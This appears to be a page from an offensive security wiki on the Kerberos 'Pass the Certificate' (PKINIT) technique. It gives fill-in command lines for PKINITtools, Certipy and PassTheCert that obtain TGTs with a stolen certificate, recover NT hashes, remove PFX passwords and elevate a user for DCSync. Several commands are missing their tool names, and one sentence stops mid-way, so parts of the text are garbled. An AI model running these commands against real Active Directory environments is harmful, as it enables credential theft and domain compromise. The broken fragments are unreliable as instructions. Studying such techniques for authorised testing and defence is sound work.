Pass the Certificate


The Kerberos authentication protocol works with tickets in order to grant access. An ST (Service Ticket) can be obtained by presenting a TGT (Ticket Granting Ticket). That prior TGT can only be obtained by validating a first step named "pre-authentication" (except if that requirement is explicitly removed for some accounts, making them vulnerable to ASREProast). The pre-authentication can be validated symmetrically (with a DES, RC4, AES128 or AES256 key) or asymmetrically (with certificates). The asymmetrical way of pre-authenticating is called PKINIT.

Pass the Certificate is the fancy name given to the pre-authentication operation relying on a certificate (i.e. key pair) to pass in order to obtain a TGT. This operation is often conducted along shadow credentials, AD CS escalation and UnPAC-the-hash attacks.

Keep in mind a certificate in itself cannot be used for authentication without the knowledge of the private key. A certificate is signed for a specific public key, that was generated along with a private key, which should be used when relying on a certificate for authentication.

The "certificate + private key" pair is usually used in the following manner

  • PEM certificate + PEM private key

  • PFX certificate export (which contains the private key) + PFX password (which protects the PFX certificate export)


From UNIX-like systems, Dirk-jan's from PKINITtools tool to request a TGT (Ticket Granting Ticket) for the target object. That tool supports the use of the certificate in multiple forms.

# PFX certificate (file) + password (string, optionnal) -cert-pfx "PATH_TO_PFX_CERT" -pfx-pass "CERT_PASSWORD" "FQDN_DOMAIN/TARGET_SAMNAME" "TGT_CCACHE_FILE"

# Base64-encoded PFX certificate (string) (password can be set) -pfx-base64 $(cat "PATH_TO_B64_PFX_CERT") "FQDN_DOMAIN/TARGET_SAMNAME" "TGT_CCACHE_FILE"

# PEM certificate (file) + PEM private key (file) -cert-pem "PATH_TO_PEM_CERT" -key-pem "PATH_TO_PEM_KEY" "FQDN_DOMAIN/TARGET_SAMNAME" "TGT_CCACHE_FILE"

Alternatively, Certipy (Python) can be used for the same purpose.

certipy auth -pfx "PATH_TO_PFX_CERT" -dc-ip 'dc-ip' -username 'user' -domain 'domain'

Certipy's commands don't support PFXs with password. The following command can be used to "unprotect" a PFX file.

certipy cert -export -pfx "PATH_TO_PFX_CERT" -password "CERT_PASSWORD" -out "unprotected.pfx"

The ticket obtained can then be used to

When using Certipy for Pass-the-Certificate, it automatically does UnPAC-the-hash to recover the account's NT hash, in addition to saving the TGT obtained.

Another alternative is with PassTheCert (Python) which can be used to conduct multiple techniques like elevate a user for DCSync or change password for a specific user.

# extract key and cert from the pfx
certipy cert -pfx "PATH_TO_PFX_CERT" -nokey -out "user.crt"
certipy cert -pfx "PATH_TO_PFX_CERT" -nocert -out "user.key"

# elevate a user for DCSYNC with -action modify_user -crt "PATH_TO_CRT" -key "PATH_TO_KEY" -domain "domain.local" -dc-ip "DC_IP" -target "SAM_ACCOUNT_NAME" -elevate

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